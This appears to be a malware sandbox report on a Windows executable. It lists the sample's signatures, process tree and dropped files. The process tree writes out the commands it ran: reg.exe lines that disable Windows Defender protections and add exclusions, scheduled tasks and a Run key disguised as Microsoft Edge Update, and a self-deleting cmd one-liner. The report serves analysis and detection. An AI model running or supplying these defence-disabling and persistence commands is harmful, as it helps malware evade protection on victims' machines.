Analysis

  • max time kernel
    148s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 17:25

General

  • Target
    25925eb09a142160bb11a5dfeed35967.exe
  • Size 7.0MB
  • Sample260808-vze72s1fmf
  • SHA256 a792f7bf2b52e165d6c27df4e467a6d6b45e749f90ec2d4be421e1a18ae5849e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 18 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry key 1 TTPs 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\25925eb09a142160bb11a5dfeed35967.exe
    "C:\Users\Admin\AppData\Local\Temp\25925eb09a142160bb11a5dfeed35967.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5776
    • C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
      2⤵
        PID:4704
      • C:\Windows\system32\reg.exe
        "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
        2⤵
          PID:2976
        • C:\Windows\system32\reg.exe
          "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:4616
        • C:\Windows\system32\reg.exe
          "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:4324
        • C:\Windows\system32\reg.exe
          "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:4132
        • C:\Windows\system32\reg.exe
          "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
          2⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          PID:2816
        • C:\Windows\system32\reg.exe
          "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
          2⤵
            PID:2572
          • C:\Windows\system32\reg.exe
            "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
            2⤵
              PID:4168
            • C:\Windows\system32\reg.exe
              "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
              2⤵
                PID:3256
              • C:\Windows\system32\net.exe
                "net" session
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3240
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 session
                  3⤵
                    PID:2844
                • C:\Windows\system32\schtasks.exe
                  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
                  2⤵
                    PID:5520
                  • C:\Windows\system32\schtasks.exe
                    "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
                    2⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5468
                  • C:\Windows\system32\schtasks.exe
                    "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
                    2⤵
                      PID:5692
                    • C:\Windows\system32\schtasks.exe
                      "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
                      2⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:3004
                    • C:\Windows\system32\reg.exe
                      "reg" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdgeUpdateBackground /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                      2⤵
                      • Adds Run key to start application
                      • Modifies registry key
                      PID:252
                    • C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                      "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3116
                      • C:\Windows\system32\reg.exe
                        "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
                        3⤵
                          PID:3480
                        • C:\Windows\system32\reg.exe
                          "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
                          3⤵
                            PID:3952
                          • C:\Windows\system32\reg.exe
                            "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:1408
                          • C:\Windows\system32\reg.exe
                            "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2620
                          • C:\Windows\system32\reg.exe
                            "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:4732
                          • C:\Windows\system32\reg.exe
                            "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
                            3⤵
                            • Modifies Windows Defender DisableAntiSpyware settings
                            PID:2592
                          • C:\Windows\system32\reg.exe
                            "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
                            3⤵
                              PID:3336
                            • C:\Windows\system32\reg.exe
                              "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
                              3⤵
                                PID:840
                              • C:\Windows\system32\reg.exe
                                "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
                                3⤵
                                  PID:1304
                              • C:\Windows\system32\cmd.exe
                                "cmd" /C "choice /C Y /N /D Y /T 3 & Del \"C:\Users\Admin\AppData\Local\Temp\25925eb09a142160bb11a5dfeed35967.exe\""
                                2⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:4652
                                • C:\Windows\system32\choice.exe
                                  choice /C Y /N /D Y /T 3
                                  3⤵
                                    PID:900
                              • C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                1⤵
                                • Executes dropped EXE
                                • Checks processor information in registry
                                • Suspicious use of WriteProcessMemory
                                PID:2912
                                • C:\Windows\system32\reg.exe
                                  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
                                  2⤵
                                    PID:4688
                                  • C:\Windows\system32\reg.exe
                                    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
                                    2⤵
                                      PID:4620
                                    • C:\Windows\system32\reg.exe
                                      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
                                      2⤵
                                      • Modifies Windows Defender Real-time Protection settings
                                      PID:3488
                                    • C:\Windows\system32\reg.exe
                                      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
                                      2⤵
                                      • Modifies Windows Defender Real-time Protection settings
                                      PID:4288
                                    • C:\Windows\system32\reg.exe
                                      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
                                      2⤵
                                      • Modifies Windows Defender Real-time Protection settings
                                      PID:5164
                                    • C:\Windows\system32\reg.exe
                                      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
                                      2⤵
                                      • Modifies Windows Defender DisableAntiSpyware settings
                                      PID:2548
                                    • C:\Windows\system32\reg.exe
                                      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
                                      2⤵
                                        PID:3848
                                      • C:\Windows\system32\reg.exe
                                        "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
                                        2⤵
                                          PID:3148
                                        • C:\Windows\system32\reg.exe
                                          "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
                                          2⤵
                                            PID:936
                                          • C:\Windows\system32\net.exe
                                            "net" session
                                            2⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:1584
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 session
                                              3⤵
                                                PID:3548
                                            • C:\Windows\system32\schtasks.exe
                                              "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
                                              2⤵
                                                PID:5608
                                              • C:\Windows\system32\schtasks.exe
                                                "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
                                                2⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:4664
                                              • C:\Windows\system32\schtasks.exe
                                                "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
                                                2⤵
                                                  PID:3400
                                                • C:\Windows\system32\schtasks.exe
                                                  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
                                                  2⤵
                                                  • Scheduled Task/Job: Scheduled Task
                                                  PID:2256
                                                • C:\Windows\system32\reg.exe
                                                  "reg" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdgeUpdateBackground /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                  2⤵
                                                  • Adds Run key to start application
                                                  • Modifies registry key
                                                  PID:3700
                                                • C:\Windows\system32\net.exe
                                                  "net" session
                                                  2⤵
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:5916
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 session
                                                    3⤵
                                                      PID:3396
                                                  • C:\Windows\system32\schtasks.exe
                                                    "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskCore
                                                    2⤵
                                                      PID:5496
                                                    • C:\Windows\system32\schtasks.exe
                                                      "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
                                                      2⤵
                                                        PID:1180
                                                      • C:\Windows\system32\schtasks.exe
                                                        "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
                                                        2⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:5128
                                                      • C:\Windows\system32\schtasks.exe
                                                        "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskCore
                                                        2⤵
                                                          PID:3048
                                                        • C:\Windows\system32\schtasks.exe
                                                          "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskSession
                                                          2⤵
                                                            PID:2420
                                                          • C:\Windows\system32\schtasks.exe
                                                            "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
                                                            2⤵
                                                              PID:3460
                                                            • C:\Windows\system32\schtasks.exe
                                                              "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
                                                              2⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5388
                                                            • C:\Windows\system32\schtasks.exe
                                                              "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskSession
                                                              2⤵
                                                                PID:4904
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                "powershell" -NoProfile -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"
                                                                2⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:6024

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

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                                                                  Downloads

                                                                  MicrosoftEdgeUpdate.exe

                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                  • Size 7.0MB
                                                                  • SHA256 a792f7bf2b52e165d6c27df4e467a6d6b45e749f90ec2d4be421e1a18ae5849e
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml

                                                                  • Path C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
                                                                  • Size 1KB
                                                                  • SHA256 6735ddad0647414a742d4dfe8120a863e12dd92ec4003ea68ffc97e90c40d850
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml

                                                                  • Path C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
                                                                  • Size 959B
                                                                  • SHA256 fecd1a92fa8a024b0293b3586967e8bb29b1475f017f98e341e994b5ec326096
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  memory/6024-16-0x00000157F7010000-0x00000157F7032000-memory.dmp